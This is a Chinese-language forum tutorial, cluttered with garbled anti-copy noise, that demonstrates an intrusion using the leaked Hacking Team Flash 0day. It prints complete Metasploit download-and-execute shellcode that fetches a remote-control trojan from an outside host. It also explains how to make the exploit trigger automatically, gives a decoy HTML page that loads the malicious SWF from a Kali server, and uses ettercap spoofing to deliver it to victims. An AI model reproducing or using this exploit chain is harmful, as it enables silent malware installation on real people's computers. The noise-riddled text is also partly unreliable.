P' u; f! {3 U6 l- j. D
三、flash 0day之手工代码修改制作下载者实例入侵演示
' u! H6 j% d1 c$ \: [5 I- Y 5 p% W# _0 q# v8 O+ L
! I$ w) r9 m6 L! W; f0 T: G 利用到的工具: $ ^, f# n# B" r7 \$ R$ |8 R% Q
& r2 Z* k# ]1 z) m
* G: Y5 `! b/ f" N Msf
0 i0 p: h, J' U; j
, ]( t# `0 g( Q0 q; r; ~; |. H$ a& {! m4 [: O7 a' f# O
Ettercap 6 A0 Q5 l* ^) T5 _+ U& J
/ C# V8 s. r, ^5 x; i- E
: B1 a1 }4 E1 X4 R* _9 z/ F
Adobe Flash CS6
. b1 u7 t$ m; ^
+ \1 }$ d! I0 e+ E! H: H8 Y! M# u; R* O3 B0 P
Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
& E" I4 R: Q, ?2 T . Q) i% ^2 W) {( O* H/ Y
) `* v5 e( K! m" R
下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options 7 i2 ?: p9 E3 Y
: [& j# s, `9 t) n% O
5 ] S* _6 P; r8 M: K9 r# v. g0 ` 如图:
% m" Z0 T7 P E
8 l5 \. n( h7 R2 @5 J7 x" b1 b7 i$ a8 b0 b# I) |4 {8 ^
( O/ S& c- X1 i9 o/ A
Z* ]7 M1 s! V
, a& h, Y+ G: A5 }6 u
8 H+ M; f( e6 K% R: X 0 Z% A0 L( u$ Q+ E2 ~
+ u( |5 s4 f; c6 Q/ k/ G+ R5 [; L
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图: - C. ]! T* q: q
, }$ b+ U! F/ p* ?3 u! v
! \9 E S% w( M* ?/ G _2 a
% S. T% ?4 D) @3 S4 |; i
3 X' _8 X: C5 M' Z8 |. R
6 i8 Z3 s6 G. D! b3 d
$ [$ U6 V$ l1 D8 ? / S% K$ J+ g$ j) @$ x( x* G
2 O @& a3 R& ]8 I+ f5 y
然后执行generate -t dword生成shellcode,如下: / ?% ?2 [ r0 p
* T' n$ s1 {- g0 u3 B$ J. N
; O3 L |4 [) v8 v0 E! ~
/ F Q7 c9 F) ]% R7 z( |5 Z
# N! E/ ?1 t3 i& v' O2 f. p
) K) O+ _' C E: m6 n2 x0 \ 复制代码到文本下便于我们一会编辑flash exp,如下: + y2 P- @4 ^: S2 i0 B" j. h
% H6 p; b, K& s! a
* M" Y6 f- |4 |% [2 j
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
4 G" v! x) x* w
; D' B# i! z) j) ^9 \
5 H1 q. q; F# I3 Z' |, b. Q/ z 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
" D+ H$ v3 a" r- E, u ( j+ g1 t, L4 }) K: O& j& Y, U
: c- _5 y- o# j
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, 9 Z' L2 y: U# C4 [
4 ~4 u5 F5 h! q) k
; j" g7 W0 p: g1 Z
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, 0 d, f: l; n% }! T/ U5 s+ i
* @# \' E5 |9 `
4 x2 a; c4 |' A% P 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
- U( O' h. A9 f
# w6 ]1 q/ P! l/ }$ K: ]9 l
4 \1 o0 W6 k9 f; B: z7 l 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
: K) M. T- H9 Q( J: p3 \ : {6 u" v: `7 I% v/ a
4 J) s7 ]0 ^# T" i2 p 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, ; _. ?/ P5 A$ Q( k& Y. t
F8 D! K3 ]+ N$ \# _& Z' U- M1 R! K/ a$ `# J* c# p
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, 1 q- g5 |- }# }. Y4 z
7 U7 S: ?+ O% E2 u
, u: Q0 s o( ?7 R# f 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, & p" @) E8 Y- w) j
& A v4 {% V/ ~, A$ z; J7 u/ w# f9 A4 u6 V, }- D
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
. E2 ?, O! f& F; _ 3 P4 I! Y7 [% I" a
6 I7 O# i; \, n. [7 | 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
. W( G8 ^ _# [5 K' S; e7 u7 l
. k" j. N" Q/ C6 e% l0 i6 X0 A, o/ v) K4 m
0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, ) S' H8 ?. c v" h/ P% W! {
" K2 X! m; T' _. b- A: c( X! ^( l. p* U
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 4 M1 Y( V$ ~+ L$ ]: E" X! O) j
3 q8 b2 x) Z( A4 R8 S
i# r5 z( L& j2 r, i. K$ c
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 0 T# C- m( e# U( P
6 f, f& r% D8 _! l/ w ?
7 m. K ]) K* }! `) [
: V& N) g' X3 a 9 T6 a8 Z3 R0 U) _! G
4 d* ^+ k8 }2 x8 W
. Z+ c s# B$ j* s
, G" A% T6 t; o5 J+ E. w
# o# n( A! y, u 下面我们来修改flash 0day exp,需要修改三个文件,分别为:
( m' V+ P: [) f% D' b2 L- ^! J9 H2 X 9 h6 N; Y0 f2 ~) {) N5 g# M
7 \7 k/ ~& X. S% }" I# F
& U1 u+ f- Q* t% w- D
. q& L; c% y& w- W$ s6 g5 i$ A2 N3 ?6 V4 ~
先修改ShellWin32.as,部分源代码如图:
5 v& I' c5 n/ K, d& x: @ 9 N3 ~! M' J0 D) W& [
4 Q. h3 a( j* g
- j2 ^/ z1 X4 N5 P
) ]4 y! I1 r1 C3 B* f8 w" {% C: j% H' r/ c% j
我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下:
2 Z4 k8 ?7 [9 e1 ~" ~: a/ a) U2 r
! j0 b+ `* [1 P0 d5 \) \) p' ~7 r# o H3 f/ p3 p$ R) V' w3 r
/ }1 A- P& P/ C& Y9 [& x
" N% O/ j0 s# J
: O& E# ?% v0 E( F 然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图:
8 {' s* C+ f2 x' C' l( b3 K) H' e 5 G1 \! T2 `5 K5 T6 X
& A! E! X8 W5 i( D# z
! d2 \) {$ [- s M 5 M$ t4 v- \9 P/ C9 q7 Q# r
+ f+ q5 ~5 _: Y e/ h5 N' b 换行在后面加一句TryExpl();注意是l不是数字1,然后如图:
$ ]# l! o2 l( b6 [8 g7 ^4 C 2 o+ i! l& u1 b& t3 z) }2 I: K
7 [3 G; X+ d$ M0 ?0 O
6 i0 n! {4 D' [- H4 a- r( L ) f0 C: h) c6 W3 O% }
/ R) h: ]' w4 V: E! N. c6 B0 k
* B' b f, t5 r) A ]# b7 y + q5 v* {+ a) Z' D" d
6 f5 J, [+ p- Y2 `( f2 K
5 g3 m& s. W- b* k1 I+ e
J+ J$ Q" o V( F1 ?0 k: G5 ^/ a& J" {5 R( F) R8 M
然后点保存,下面我们来编译一下,打开
6 Z; D3 C6 S; N# O5 ` 5 z4 a0 W2 T& z2 d
2 g/ R. {4 i) H1 z, T exp1.fla然后点文件-发布,看看编译没错误 ; Y* T+ s& m5 m2 x2 c9 w
/ Z c% i) @- A p+ I8 e) o j U8 |, k( I% w% [# S( _3 C
( ^' J3 E8 i0 {; W' V1 X: ?5 e6 D
/ U6 ]" N" R5 c5 w! z4 [# o3 g* j
, |# ?4 S; x `2 n4 ?' N- A$ H ; g* O& j8 N r# r: v2 a+ |
- F8 T/ F; C: d* ]2 q; k( k1 ]
' G$ F9 h1 Q6 g) \( p5 f& W6 i
% h' z. R4 C( |* j* H! a
3 V. l& Z! K, }8 e1 J
$ M, _6 t: G7 F" N# I7 c5 L
' r& p, H4 _4 u t3 L; |9 i/ M) H: T# b- R# y7 r7 B5 q
然后我们把生成的 3 g7 Y" F; n: C: d+ l* |
0 |0 U Q2 o- ~* ~7 N; T8 l- Q
! m7 E+ h+ i# E7 B& V8 p8 Q/ ]. P: B+ m exp1.swf丢到kailinux 的/var/www/html下: # ^# N) I8 r8 @) h6 V+ l; }
* E' h+ A X' R* r6 p2 ^
+ ?6 m# ~0 b% T 然后把这段代码好好编辑一下 : [+ ^! s* M# g
8 C5 I- a% S0 T7 v+ ]$ P5 x+ d' F. p
- I' \9 e; p* d: L8 W7 u! x
4 l& @* B8 Y: D1 o
, @ q, F$ f! ?% i- d5 H1 q5 I5 |4 o6 ~2 n& T3 p8 Z
! \7 x# T) u8 u- I
; {1 \: P* `. a+ h0 s3 a
( m7 x) g3 t$ ^5 `- P$ v& \( ?/ J
1 @% v- I! J+ g" i" B2 x2 |# K0 B
U" g0 K$ z8 N c0 _9 u3 U
( k" E. k" b! z3 E5 e% D6 w% } 4 I$ N: x5 m$ ^& N" g: z
e$ D( g/ @) h/ T1 h4 q( y3 g! i
3 |$ I. u" w3 Q( }- t: u
0 ^2 V( F$ ?% Y& y
9 @9 _* \/ c! S; ~# n, O# s, G) E9 e
' h }0 b7 X( z- \1 q9 A $ J+ y! Q! [- H% z6 D
9 Q( q3 X* E+ p" F <!DOCTYPE html>
! E$ ?" X+ Z, @/ n8 S" ^
) M. x; J0 S* v& S; e$ M* p
& N# I! @0 l9 n <html> + L- \- p7 o- _+ R8 ^
. k. S9 U" F3 |( b" R- E' G( U7 r
5 F) J( Y9 p/ z( r6 B' z
<head>
( y) p+ E+ L1 v; ? n4 U- a% h3 {; j6 S / q O/ i6 h; L( v6 k" ~; g
; \9 \ Q* g* I2 P; H <meta http-equiv="Content-Type" content="text/html; 3 O6 Z1 W3 V, \. g- T
6 y( A U8 l& _" j9 e9 z( P4 r5 o! r4 Y- U* Y7 d. [
charset=utf-8"/>
" P5 g, a9 A% N3 A( ] , x) U7 J% x8 Z r+ w9 x
8 N2 L& M+ @+ r. l" g/ @7 d
</head>
0 E1 z9 \" w1 ^- d
$ f7 d7 e" R2 d" H3 K. W% `8 d# r0 r6 `7 ~
<body> + Z7 l& w1 z6 k( r: d- ~
- C' t6 l' M3 H4 f0 [& E$ G' H, x' J {- R L. z3 B5 Z: P! Y
<h2> Please wait, the requested page is loading...</h2> * C) c4 l! v$ t+ R$ \+ `
& W4 m8 D; Q9 ?" I$ [* s2 h9 J2 l/ Y1 t! B, P( K* @% ^. @
<br>
& S# Z9 X% |, S. x2 ^
( b, c9 L9 u) ^* M; n7 s# Y1 k. y$ @6 M; H
<OBJECT , P# }/ h8 s, s- s# d4 b0 s
: ?+ O9 G1 @6 Y( ]- g
6 `, k# f' o& a7 r* E4 P( o
classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie $ A. T, `9 @/ A& [/ c E9 A3 v
* o& x; s; m% J! I [: l0 I0 G
v/ u3 H/ _% ?7 A; |, p
VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
, }2 b/ ?+ Q% S0 F
* l( ~9 L6 V. f2 }% i0 ~
9 k3 W! _. V3 Q# S. i V </body>
0 x* d: R4 x' [, c" k+ y1 h 6 N; g7 ]5 H# K! E+ Y
* h9 S5 w7 T; X6 t0 B( I4 X
<script> % k& B! C! \/ w5 I5 o1 W' Y* k
% ^& _* F. O! \$ R8 N3 v U) V+ j$ [ T" n, q3 {" |! `- V5 |
setTimeout(function () { & N7 C( C6 @0 J/ T% K( b& L
8 f1 r; C `$ n9 t P( R1 I
# [6 q' A6 W* q: T. p! z; H
$ }" U0 [0 b1 V6 b4 u; Q) ^
4 \9 S8 ~) q. z5 M
4 r/ R( D, t' i: T6 s+ t/ X window.location.reload(); " L( Y$ h2 D$ ], u- ^1 i- n
' g& s e6 A. @9 S# n3 Z- s L
' i W; G0 {$ b0 Z$ r# E, c! _ }, 10000); 0 ]' N( x# ]6 N! Y/ Y c
N; A# f7 ~* \& L8 M e+ x& Q9 I3 R- h- Z( d& _; {
: i# X7 F5 n$ c5 M( H0 l# n4 B
) J5 P2 Z( V3 U! F2 C0 R9 ` m1 x6 b- s% _7 n: c' n. I
</script>
# x8 G" w* j# I
" _6 G. i$ \: [
0 T. z3 k1 h( m. R; \8 ?/ U# }7 P </html>
9 i2 O; c# [0 u4 j1 F+ A% w; O
! W$ i7 Y) J t9 m/ f, C- @% R' p! Q
* ~2 G5 p% I, B
# c- i; l! r3 T " a: R1 x5 A3 x8 c+ C
) n+ b- O4 z4 p; j9 v0 N9 M1 W
注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
' Y5 e6 V, N2 U- k 9 @% L' Z' i* U( I% _' x
* F; E2 m) E" {8 U
% S# w5 e- P9 x
2 G8 a* t; m( i
+ x! s6 f% i) }( W$ y( q; _ 0 ~- ^5 o& {$ Y2 g! A3 T5 w1 U
3 X; h7 P8 I4 V/ A: D3 |
0 |$ z2 Z7 k' S$ W4 q
2 F: T* J6 C4 \2 z* |
K; x" I* \9 ?" G8 S$ C* j d' A4 A( B' ~4 h
) t! V/ M$ ?" f) B5 h0 j
, K+ f4 W& `4 d: F* c% j# `7 [
1 k, [" {0 Y Z& h6 F; f , s4 q o9 q1 z) G. e% f
, z; r n" S. ^4 Y
3 f, J+ e3 Q/ {2 U$ Z8 {0 D 下面我们用ettercap欺骗如图:
1 M+ I5 k6 E$ C8 ~
; X+ u1 z! {8 o0 e
5 E0 @+ t( }" P+ V7 i) ~ " g: `* G$ g, B& \
7 T {9 U5 e3 m. W( ?
: d: _8 T! ^, q6 {1 `/ O i
# B2 @- [9 v. @3 Y9 z) ? 0 G9 s6 Y4 L4 P+ ^/ D
- s: c: I' m* G2 Y
下面我们随便访问个网站看看:
8 E( ]% O" y) z, L" }& C 5 H3 H. |) Y) }; |* |( n" t" z Y
* i( m! ^7 G8 B5 p+ U, k
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图:
1 e2 u/ P" c% z2 |7 ~1 o
4 Q0 j, h: X4 m, {; K/ j- Y/ D6 ~$ Q3 C
* x+ t. A- `. u& r 7 y* b6 |# V) A. u, e N$ @; g
& s+ N% u1 C$ U- v" y5 O
我们看另一台, 7 L7 U% a% r3 _
" S4 ~" A$ @6 K: T/ I
8 Y7 j% b, J8 E5 u 提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。 / M& N* n8 j* @; U$ r
|